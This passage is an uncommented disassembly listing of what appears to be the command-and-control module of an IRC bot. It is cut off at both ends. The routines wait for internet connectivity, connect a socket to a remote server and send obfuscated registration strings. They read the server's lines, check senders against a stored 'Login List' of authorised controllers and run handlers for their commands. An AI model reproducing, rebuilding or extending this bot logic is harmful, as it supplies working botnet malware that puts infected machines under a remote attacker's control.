mov edi, offset dword_4584B0 loc_41C762: ; CODE XREF: sub_41C755+45j cmp byte ptr [edi], 0 jz short loc_41C78E push [esp+8+arg_0] push edi call esi ; dword_437178 test eax, eax jnz short loc_41C78E push [esp+8+arg_4] lea eax, [edi+10h] push eax call esi ; dword_437178 test eax, eax jnz short loc_41C78E push [esp+8+arg_8] lea eax, [edi+20h] push eax call esi ; dword_437178 test eax, eax jz short loc_41C7A3 loc_41C78E: ; CODE XREF: sub_41C755+10j ; sub_41C755+1Bj ... add edi, 0BFh cmp edi, offset byte_4586ED jl short loc_41C762 xor eax, eax loc_41C79E: ; CODE XREF: sub_41C755+51j pop edi pop esi retn 0Ch ; --------------------------------------------------------------------------- loc_41C7A3: ; CODE XREF: sub_41C755+37j xor eax, eax inc eax jmp short loc_41C79E sub_41C755 endp ; =============== S U B R O U T I N E ======================================= sub_41C7A8 proc near ; CODE XREF: sub_42045F+134p ; sub_42045F+1F3p ... mov eax, offset dword_4584B0 loc_41C7AD: ; CODE XREF: sub_41C7A8+14j cmp byte ptr [eax], 0 jnz short loc_41C7C1 add eax, 0BFh cmp eax, offset byte_4586ED jl short loc_41C7AD xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C7C1: ; CODE XREF: sub_41C7A8+8j xor eax, eax inc eax retn sub_41C7A8 endp ; =============== S U B R O U T I N E ======================================= sub_41C7C5 proc near ; CODE XREF: sub_40A9FE+A18p arg_0 = dword ptr 4 push ebx push ebp mov ebp, [esp+8+arg_0] push esi push edi push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov edi, ecx push offset aSLoginList ; "%s Login List:" push ebp push edi call sub_41CE4A add esp, 10h xor ebx, ebx mov esi, offset dword_4584B0 loc_41C7EA: ; CODE XREF: sub_41C7C5+62j cmp byte ptr [esi], 0 jz short loc_41C80A lea eax, [esi+10h] lea ecx, [eax+10h] push ecx push eax push esi push ebx push offset aISS@S ; "<%i> %s!%s@%s" push ebp push edi call sub_41CE4A add esp, 1Ch jmp short loc_41C81A ; --------------------------------------------------------------------------- loc_41C80A: ; CODE XREF: sub_41C7C5+28j push ebx push offset aIEmpty ; "<%i> <Empty>" push ebp push edi call sub_41CE4A add esp, 10h loc_41C81A: ; CODE XREF: sub_41C7C5+43j add esi, 0BFh inc ebx cmp esi, offset byte_4586ED jl short loc_41C7EA push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSLoginListComp ; "%s Login List complete." push ebp push edi call sub_41CE4A add esp, 10h pop edi pop esi pop ebp pop ebx retn 4 sub_41C7C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C844 proc near ; CODE XREF: sub_42045F+15Cp ; sub_42045F+510p ... var_2710 = byte ptr -2710h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 2710h call sub_429B60 push ebx mov ebx, [ebp+arg_0] cmp byte ptr [ebx+4], 0 jnz short loc_41C860 xor eax, eax inc eax jmp short loc_41C8AE ; --------------------------------------------------------------------------- loc_41C860: ; CODE XREF: sub_41C844+15j push esi lea eax, [ebp+arg_8] push edi push eax push [ebp+arg_4] lea eax, [ebp+var_2710] xor edi, edi push 2710h push eax call sub_42B8AA add esp, 10h mov esi, offset dword_4584B0 loc_41C884: ; CODE XREF: sub_41C844+64j cmp byte ptr [esi], 0 jz short loc_41C89C lea eax, [ebp+var_2710] push eax push esi push ebx call sub_41CDD4 add esp, 0Ch add edi, eax loc_41C89C: ; CODE XREF: sub_41C844+43j add esi, 0BFh cmp esi, offset byte_4586ED jl short loc_41C884 mov eax, edi pop edi pop esi loc_41C8AE: ; CODE XREF: sub_41C844+1Aj pop ebx leave retn sub_41C844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8B1 proc near ; CODE XREF: sub_418FA1+616p var_3C = qword ptr -3Ch var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_1C = qword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 2Ch push esi mov esi, ecx push edi cmp byte ptr [esi+4], 0 jz short loc_41C8C9 xor eax, eax inc eax jmp loc_41CA7C ; --------------------------------------------------------------------------- loc_41C8C9: ; CODE XREF: sub_41C8B1+Ej cmp dword_457050, 0 jnz short loc_41C8EF loc_41C8D2: ; CODE XREF: sub_41C8B1+3Cj lea eax, [ebp+var_4] push 0 push eax call dword_456E38 ; InternetGetConnectedState test eax, eax jnz short loc_41C8EF push 4E20h call dword_437190 ; Sleep jmp short loc_41C8D2 ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8B1+1Fj ; sub_41C8B1+2Fj xor edi, edi push 6 inc edi push edi push 2 call dword_456FD0 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41C952 push [ebp+arg_0] call dword_456FD4 ; gethostbyname test eax, eax jz short loc_41C94A mov eax, [eax+0Ch] push 4 push dword ptr [eax] lea eax, [ebp+var_28] push eax call sub_429420 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+arg_4] call dword_456F38 ; ntohs mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jnz short loc_41C959 loc_41C94A: ; CODE XREF: sub_41C8B1+5Ej push dword ptr [esi] call dword_456FF0 ; closesocket loc_41C952: ; CODE XREF: sub_41C8B1+51j mov eax, edi jmp loc_41CA7C ; --------------------------------------------------------------------------- loc_41C959: ; CODE XREF: sub_41C8B1+97j push ebx mov ebx, dword_437188 call ebx ; dword_437188 mov ecx, esi mov dword_4584AC, eax call sub_41C6C4 lea eax, [ebp+var_14] push eax call dword_4370D0 ; QueryPerformanceCounter lea eax, [ebp+var_C] push eax call dword_43718C ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_10], eax jl short loc_41C9C9 jg short loc_41C990 cmp [ebp+var_14], eax jbe short loc_41C9C9 loc_41C990: ; CODE XREF: sub_41C8B1+D8j cmp [ebp+var_8], eax jl short loc_41C9C9 jg short loc_41C99C cmp [ebp+var_C], eax jbe short loc_41C9C9 loc_41C99C: ; CODE XREF: sub_41C8B1+E4j push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] push [ebp+var_14] call sub_42B2F0 mov dword ptr [ebp+var_1C], eax mov dword ptr [ebp+var_1C+4], edx fild [ebp+var_1C] push ecx push ecx ; double fstp [esp+3Ch+var_3C] call sub_42A706 pop ecx pop ecx call sub_42A9E0 jmp short loc_41C9CB ; --------------------------------------------------------------------------- loc_41C9C9: ; CODE XREF: sub_41C8B1+D6j ; sub_41C8B1+DDj ... call ebx ; dword_437188 loc_41C9CB: ; CODE XREF: sub_41C8B1+116j mov dword_457F60, eax call ebx ; dword_437188 push [ebp+arg_8] mov dword_4584AC, eax mov byte ptr [esi+4], 1 call sub_4293A0 inc eax push eax call sub_42B4D7 mov edi, dword_4370B4 pop ecx pop ecx mov [esi+8], eax push [ebp+arg_8] push eax call edi ; dword_4370B4 push [ebp+arg_C] call sub_4293A0 inc eax push eax call sub_42B4D7 pop ecx mov [esi+0Ch], eax pop ecx push [ebp+arg_10] push eax call edi ; dword_4370B4 cmp [ebp+arg_14], 0 mov edi, offset aSS ; "%s %s\r\n" jz short loc_41CA46 push offset byte_454A54 push [ebp+arg_14] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_41CA46 push [ebp+arg_14] push offset a7lybp1gunfm0 ; "7LybP1GuNfm0" push edi push dword ptr [esi] push esi call sub_41C4E4 add esp, 14h loc_41CA46: ; CODE XREF: sub_41C8B1+16Dj ; sub_41C8B1+17Fj push [ebp+arg_8] push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0" push edi push dword ptr [esi] push esi call sub_41C4E4 push [ebp+arg_10] push [ebp+arg_C] push offset a391myLxl28_ ; "391mY/LxL28." push offset aSS0S ; "%s %s * 0 :%s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 2Ch call ebx ; dword_437188 mov dword_4584AC, eax xor eax, eax pop ebx loc_41CA7C: ; CODE XREF: sub_41C8B1+13j ; sub_41C8B1+A3j pop edi pop esi leave retn 18h sub_41C8B1 endp ; =============== S U B R O U T I N E ======================================= sub_41CA82 proc near ; CODE XREF: sub_40A9FE+B4Ap ; sub_4182BA+67Bp ... push esi mov esi, ecx cmp byte ptr [esi+4], 0 jz short loc_41CAB2 push offset a___ ; "..." push esi call sub_41CAB4 pop ecx and byte ptr [esi+4], 0 and byte ptr [esi+5], 0 pop ecx push 2 push dword ptr [esi] call dword_456FE8 ; shutdown push dword ptr [esi] call dword_456FF0 ; closesocket loc_41CAB2: ; CODE XREF: sub_41CA82+7j pop esi retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAB4 proc near ; CODE XREF: sub_40A9FE+B38p ; sub_4182BA+66Ap ... var_2710 = byte ptr -2710h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 2710h call sub_429B60 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jz short loc_41CB25 cmp [ebp+arg_4], 0 jz short loc_41CB07 lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_2710] push [ebp+arg_4] push 2710h push eax call sub_42B8AA lea eax, [ebp+var_2710] push eax push offset aVozbg0sssom1 ; "vozbG0sSsoM1" push offset aSS ; "%s %s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 24h jmp short loc_41CB1C ; --------------------------------------------------------------------------- loc_41CB07: ; CODE XREF: sub_41CAB4+1Bj push offset aVozbg0sssom1 ; "vozbG0sSsoM1" push offset aS_6 ; "%s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 10h loc_41CB1C: ; CODE XREF: sub_41CAB4+51j test eax, eax jz short loc_41CB25 xor eax, eax inc eax jmp short loc_41CB27 ; --------------------------------------------------------------------------- loc_41CB25: ; CODE XREF: sub_41CAB4+15j ; sub_41CAB4+6Aj xor eax, eax loc_41CB27: ; CODE XREF: sub_41CAB4+6Fj pop esi leave retn sub_41CAB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB2A proc near ; CODE XREF: sub_418FA1+61Dp var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 400h push esi mov esi, ecx cmp byte ptr [esi+4], 0 jz short loc_41CB86 push edi loc_41CB3D: ; CODE XREF: sub_41CB2A+55j push 0 lea eax, [ebp+var_400] push 3FFh push eax push dword ptr [esi] call dword_456F58 ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41CB81 test edi, edi jz short loc_41CB81 call dword_437188 ; GetTickCount and [ebp+edi+var_400], 0 mov dword_4584AC, eax lea eax, [ebp+var_400] mov ecx, esi push eax call sub_41CB8C jmp short loc_41CB3D ; --------------------------------------------------------------------------- loc_41CB81: ; CODE XREF: sub_41CB2A+2Ej ; sub_41CB2A+32j and byte ptr [esi+4], 0 pop edi loc_41CB86: ; CODE XREF: sub_41CB2A+10j xor eax, eax pop esi inc eax leave retn sub_41CB2A endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; CODE XREF: sub_41CB2A+50p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebp, ecx mov ebx, offset asc_4476D0 ; "\r\n" jmp short loc_41CBAB ; --------------------------------------------------------------------------- loc_41CB9D: ; CODE XREF: sub_41CB8C+2Cj and byte ptr [esi], 0 push edi mov ecx, ebp call sub_41CBC1 lea edi, [esi+2] loc_41CBAB: ; CODE XREF: sub_41CB8C+Fj push ebx push edi call sub_42AEA0 mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_41CB9D pop edi pop esi pop ebp pop ebx retn 4 sub_41CB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBC1 proc near ; CODE XREF: sub_41CB8C+17p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi xor ebx, ebx cmp byte ptr [eax], 3Ah push edi mov [ebp+var_4], ecx mov [ebp+var_8], ebx push 20h jnz loc_41CD3A lea esi, [eax+1] push esi call sub_42B1A0 pop ecx cmp eax, ebx pop ecx jz loc_41CD97 mov [eax], bl inc eax push 20h push eax mov [ebp+arg_0], eax call sub_42B1A0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_41CC0C mov [edi], bl inc edi loc_41CC0C: ; CODE XREF: sub_41CBC1+46j push 21h push esi mov [ebp+var_14], esi call sub_42B1A0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_10], eax jz short loc_41CC3D mov [eax], bl inc [ebp+var_10] push 40h push [ebp+var_10] call sub_42B1A0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax jz short loc_41CC3D mov [eax], bl inc [ebp+var_C] loc_41CC3D: ; CODE XREF: sub_41CBC1+5Dj ; sub_41CBC1+75j mov esi, dword_437178 push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1" push [ebp+arg_0] call esi ; dword_437178 test eax, eax jz loc_41CD30 push offset aYjmlc1btsf10_0 ; "yJmlc1btsF10" push [ebp+arg_0] call esi ; dword_437178 test eax, eax jnz short loc_41CC92 loc_41CC63: ; CODE XREF: sub_41CBC1+DDj push [ebp+var_C] mov ecx, [ebp+var_4] push [ebp+var_10] push [ebp+var_14] call sub_41C755 test eax, eax jz loc_41CD30 push [ebp+var_C] mov ecx, [ebp+var_4] push [ebp+var_10] push [ebp+var_14] call sub_41C65E jmp loc_41CD30 ; --------------------------------------------------------------------------- loc_41CC92: ; CODE XREF: sub_41CBC1+A0j push offset aVozbg0sssom1 ; "vozbG0sSsoM1" push [ebp+arg_0] call esi ; dword_437178 test eax, eax jz short loc_41CC63 push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1" push [ebp+arg_0] call esi ; dword_437178 test eax, eax jnz short loc_41CCC6 push 20h push edi mov [ebp+var_8], edi call sub_42B1A0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_41CCC3 loc_41CCC1: ; CODE XREF: sub_41CBC1+12Aj mov [edi], bl loc_41CCC3: ; CODE XREF: sub_41CBC1+FEj inc edi jmp short loc_41CD30 ; --------------------------------------------------------------------------- loc_41CCC6: ; CODE XREF: sub_41CBC1+EBj push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0" push [ebp+arg_0] call esi ; dword_437178 test eax, eax jnz short loc_41CCED push 20h push edi mov [ebp+var_8], edi call sub_42B1A0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_41CD97 jmp short loc_41CCC1 ; --------------------------------------------------------------------------- loc_41CCED: ; CODE XREF: sub_41CBC1+111j push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0" push [ebp+arg_0] call esi ; dword_437178 test eax, eax jnz short loc_41CD30 mov eax, [ebp+var_4] push dword ptr [eax+8] push [ebp+var_14] call esi ; dword_437178 test eax, eax jnz short loc_41CD30 mov esi, [ebp+var_4] push dword ptr [esi+8] call sub_4290D0 push edi call sub_4293A0 inc eax push eax call sub_42B4D7 add esp, 0Ch mov [esi+8], eax push edi push eax call dword_4370B4 ; lstrcpyA loc_41CD30: ; CODE XREF: sub_41CBC1+8Ej ; sub_41CBC1+B5j ... lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] jmp short loc_41CD8F ; --------------------------------------------------------------------------- loc_41CD3A: ; CODE XREF: sub_41CBC1+19j push eax mov edi, eax call sub_42B1A0 pop ecx cmp eax, ebx pop ecx jz short loc_41CD97 push offset dword_445B50 push edi mov [eax], bl lea esi, [eax+1] call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_41CD7D cmp esi, ebx jz short loc_41CD97 mov eax, [ebp+var_4] inc esi push esi push offset dword_445B60 push offset aSS ; "%s %s\r\n" push dword ptr [eax] push eax call sub_41C4E4 add esp, 14h jmp short loc_41CD97 ; --------------------------------------------------------------------------- loc_41CD7D: ; CODE XREF: sub_41CBC1+19Aj lea eax, [ebp+var_14] mov [ebp+var_C], ebx push eax push esi mov [ebp+var_10], ebx mov [ebp+var_14], ebx mov [ebp+var_8], ebx push edi loc_41CD8F: ; CODE XREF: sub_41CBC1+177j mov ecx, [ebp+var_4] call sub_41CD9E loc_41CD97: ; CODE XREF: sub_41CBC1+2Cj ; sub_41CBC1+124j ... pop edi pop esi pop ebx leave retn 4 sub_41CBC1 endp ; =============== S U B R O U T I N E ======================================= sub_41CD9E proc near ; CODE XREF: sub_41CBC1+1D1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, ecx mov esi, [edi+20h] jmp short loc_41CDBA ; --------------------------------------------------------------------------- loc_41CDA7: ; CODE XREF: sub_41CD9E+1Ej push [esp+8+arg_0] push dword ptr [esi] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_41CDC0 mov esi, [esi+8] loc_41CDBA: ; CODE XREF: sub_41CD9E+7j test esi, esi jnz short loc_41CDA7 jmp short loc_41CDCF ; --------------------------------------------------------------------------- loc_41CDC0: ; CODE XREF: sub_41CD9E+17j push edi push [esp+0Ch+arg_8] push [esp+10h+arg_4] call dword ptr [esi+4] add esp, 0Ch loc_41CDCF: ; CODE XREF: sub_41CD9E+20j pop edi pop esi retn 0Ch sub_41CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CDD4 proc near ; CODE XREF: .text:00401976p ; sub_401990:loc_401A6Dp ... var_2710 = byte ptr -2710h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp mov eax, 2710h call sub_429B60 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jnz short loc_41CDF0 xor eax, eax inc eax jmp short loc_41CE47 ; --------------------------------------------------------------------------- loc_41CDF0: ; CODE XREF: sub_41CDD4+15j lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_2710] push [ebp+arg_8] push 2710h push eax call sub_42B8AA lea eax, [ebp+var_2710] push eax push offset dword_443EB0 call sub_415603 lea eax, [ebp+var_2710] push eax push [ebp+arg_4] push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1" push offset aSSS_1 ; "%s %s :%s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 30h mov esi, eax push 3E8h call dword_437190 ; Sleep mov eax, esi loc_41CE47: ; CODE XREF: sub_41CDD4+1Aj pop esi leave retn sub_41CDD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE4A proc near ; CODE XREF: .text:00401944p ; sub_401990:loc_401A66p ... var_26F8 = byte ptr -26F8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp mov eax, 26F8h call sub_429B60 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jnz short loc_41CE66 xor eax, eax inc eax jmp short loc_41CEBD ; --------------------------------------------------------------------------- loc_41CE66: ; CODE XREF: sub_41CE4A+15j lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_26F8] push [ebp+arg_8] push 26F6h push eax call sub_42B8AA lea eax, [ebp+var_26F8] push eax push offset dword_443EB0 call sub_415603 lea eax, [ebp+var_26F8] push eax push [ebp+arg_4] push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0" push offset aSSS_1 ; "%s %s :%s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 30h mov esi, eax push 3E8h call dword_437190 ; Sleep mov eax, esi loc_41CEBD: ; CODE XREF: sub_41CE4A+1Aj pop esi leave retn sub_41CE4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEC0 proc near ; CODE XREF: sub_40A9FE+5411p var_26F8 = byte ptr -26F8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp mov eax, 26F8h call sub_429B60 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jnz short loc_41CEDC xor eax, eax inc eax jmp short loc_41CF22 ; --------------------------------------------------------------------------- loc_41CEDC: ; CODE XREF: sub_41CEC0+15j lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_26F8] push [ebp+arg_8] push 26F6h push eax call sub_42B8AA lea eax, [ebp+var_26F8] push eax push [ebp+arg_4] push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0" push offset dword_4476E0 push dword ptr [esi] push esi call sub_41C4E4 add esp, 28h mov esi, eax push 3E8h call dword_437190 ; Sleep mov eax, esi loc_41CF22: ; CODE XREF: sub_41CEC0+1Aj pop esi leave retn sub_41CEC0 endp ; =============== S U B R O U T I N E ======================================= sub_41CF25 proc near ; CODE XREF: sub_40A9FE+2323p ; sub_40A9FE+29DDp ... arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_41CF30 xor eax, eax inc eax jmp short locret_41CF49 ; --------------------------------------------------------------------------- loc_41CF30: ; CODE XREF: sub_41CF25+4j push [esp+arg_0] push offset aKc4l5_savs3_ ; "KC4L5.sAVS3." push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 14h locret_41CF49: ; CODE XREF: sub_41CF25+9j retn 4 sub_41CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF4C proc near ; CODE XREF: sub_423C7A+471p ; sub_423C7A+5D4p ... var_26F8 = byte ptr -26F8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp mov eax, 26F8h call sub_429B60 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jz short loc_41CF99 lea eax, [ebp+arg_10] push eax lea eax, [ebp+var_26F8] push [ebp+arg_C] push 26F6h push eax call sub_42B8AA add esp, 10h cmp [ebp+arg_8], 0 jz short loc_41CF9E lea eax, [ebp+var_26F8] push eax push [ebp+arg_8] call sub_427B4E pop ecx test eax, eax pop ecx jnz short loc_41CF9E loc_41CF99: ; CODE XREF: sub_41CF4C+15j xor eax, eax inc eax jmp short loc_41CFDD ; --------------------------------------------------------------------------- loc_41CF9E: ; CODE XREF: sub_41CF4C+36j ; sub_41CF4C+4Bj lea eax, [ebp+var_26F8] push eax push offset dword_443EB0 call sub_415603 lea eax, [ebp+var_26F8] push eax push [ebp+arg_4] push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0" push offset aSSS_1 ; "%s %s :%s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 20h mov esi, eax push 3E8h call dword_437190 ; Sleep mov eax, esi loc_41CFDD: ; CODE XREF: sub_41CF4C+50j pop esi leave retn sub_41CF4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFE0 proc near ; CODE XREF: sub_423C7A:loc_4240F2p ; sub_423C7A:loc_424255p ... var_26F8 = byte ptr -26F8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp mov eax, 26F8h call sub_429B60 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+4], 0 jz short loc_41D02D lea eax, [ebp+arg_10] push eax lea eax, [ebp+var_26F8] push [ebp+arg_C] push 26F6h push eax call sub_42B8AA add esp, 10h cmp [ebp+arg_8], 0 jz short loc_41D032 lea eax, [ebp+var_26F8] push eax push [ebp+arg_8] call sub_427B4E pop ecx test eax, eax pop ecx jnz short loc_41D032 loc_41D02D: ; CODE XREF: sub_41CFE0+15j xor eax, eax inc eax jmp short loc_41D071 ; --------------------------------------------------------------------------- loc_41D032: ; CODE XREF: sub_41CFE0+36j ; sub_41CFE0+4Bj lea eax, [ebp+var_26F8] push eax push offset dword_443EB0 call sub_415603 lea eax, [ebp+var_26F8] push eax push [ebp+arg_4] push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1" push offset aSSS_1 ; "%s %s :%s\r\n" push dword ptr [esi] push esi call sub_41C4E4 add esp, 20h mov esi, eax push 3E8h call dword_437190 ; Sleep mov eax, esi loc_41D071: ; CODE XREF: sub_41CFE0+50j pop esi leave retn sub_41CFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41D074 proc near ; CODE XREF: sub_420AB8+62p arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_41D07F xor eax, eax inc eax jmp short locret_41D098 ; --------------------------------------------------------------------------- loc_41D07F: ; CODE XREF: sub_41D074+4j push [esp+arg_0] push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1" push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 14h locret_41D098: ; CODE XREF: sub_41D074+9j retn 4 sub_41D074 endp ; =============== S U B R O U T I N E ======================================= sub_41D09B proc near ; CODE XREF: sub_40A9FE+2352p ; sub_420AB8+58p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp byte ptr [ecx+4], 0 jnz short loc_41D0A6 xor eax, eax inc eax jmp short locret_41D0C3 ; --------------------------------------------------------------------------- loc_41D0A6: ; CODE XREF: sub_41D09B+4j push [esp+arg_4] push [esp+4+arg_0] push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1" push offset dword_4476F8 push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 18h locret_41D0C3: ; CODE XREF: sub_41D09B+9j retn 8 sub_41D09B endp ; =============== S U B R O U T I N E ======================================= sub_41D0C6 proc near ; CODE XREF: sub_40A9FE+2374p arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_41D0D1 xor eax, eax inc eax jmp short locret_41D0EA ; --------------------------------------------------------------------------- loc_41D0D1: ; CODE XREF: sub_41D0C6+4j push [esp+arg_0] push offset aYjmlc1btsf10_0 ; "yJmlc1btsF10" push offset aSS ; "%s %s\r\n" push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 14h locret_41D0EA: ; CODE XREF: sub_41D0C6+9j retn 4 sub_41D0C6 endp ; =============== S U B R O U T I N E ======================================= sub_41D0ED proc near ; CODE XREF: sub_40A9FE+2401p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp byte ptr [eax+4], 0 jnz short loc_41D0FB xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41D0FB: ; CODE XREF: sub_41D0ED+8j push [esp+arg_4] push offset aS_6 ; "%s\r\n" push dword ptr [eax] push eax call sub_41C4E4 add esp, 10h retn sub_41D0ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D110 proc near ; CODE XREF: sub_41D163+14p ; sub_420D29+41p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp byte ptr [ecx+4], 0 jnz short loc_41D11E xor eax, eax inc eax jmp short loc_41D15F ; --------------------------------------------------------------------------- loc_41D11E: ; CODE XREF: sub_41D110+7j cmp [ebp+arg_8], 0 jnz short loc_41D141 push [ebp+arg_4] push [ebp+arg_0] push offset aLcxMHdpwr1 ; "lCX/m/HdpWr1" push offset dword_4476F8 push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 18h jmp short loc_41D15F ; --------------------------------------------------------------------------- loc_41D141: ; CODE XREF: sub_41D110+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push offset aLcxMHdpwr1 ; "lCX/m/HdpWr1" push offset dword_447704 push dword ptr [ecx] push ecx call sub_41C4E4 add esp, 1Ch loc_41D15F: ; CODE XREF: sub_41D110+Cj ; sub_41D110+2Fj pop ebp retn 0Ch sub_41D110 endp ; =============== S U B R O U T I N E ======================================= sub_41D163 proc near ; CODE XREF: sub_420CB6+57p arg_0 = dword ptr 4 cmp byte ptr [ecx+4], 0 jnz short loc_41D16E xor eax, eax inc eax jmp short locret_41D17E ; --------------------------------------------------------------------------- loc_41D16E: ; CODE XREF: sub_41D163+4j push 0 push [esp+4+arg_0] push dword ptr [ecx+8] call sub_41D110 xor eax, eax locret_41D17E: ; CODE XREF: sub_41D163+9j retn 4 sub_41D163 endp ; =============== S U B R O U T I N E ======================================= sub_41D181 proc near ; CODE XREF: sub_418FA1+5E9p ; sub_418FA1+5F5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov [ecx+24h], eax mov eax, [esp+arg_0] test eax, eax jnz short loc_41D197 call sub_41D318 jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D197: ; CODE XREF: sub_41D181+Dj cmp eax, 1 jnz short loc_41D1A3 call sub_41D475 jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1A3: ; CODE XREF: sub_41D181+19j cmp eax, 3 jnz short loc_41D1AF call sub_41D2AB jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1AF: ; CODE XREF: sub_41D181+25j cmp eax, 4 jnz short loc_41D1BB call sub_41D242 jmp short loc_41D1F5 ; --------------------------------------------------------------------------- loc_41D1BB: ; CODE XREF: sub_41D181+31j cmp eax, 2 jz short 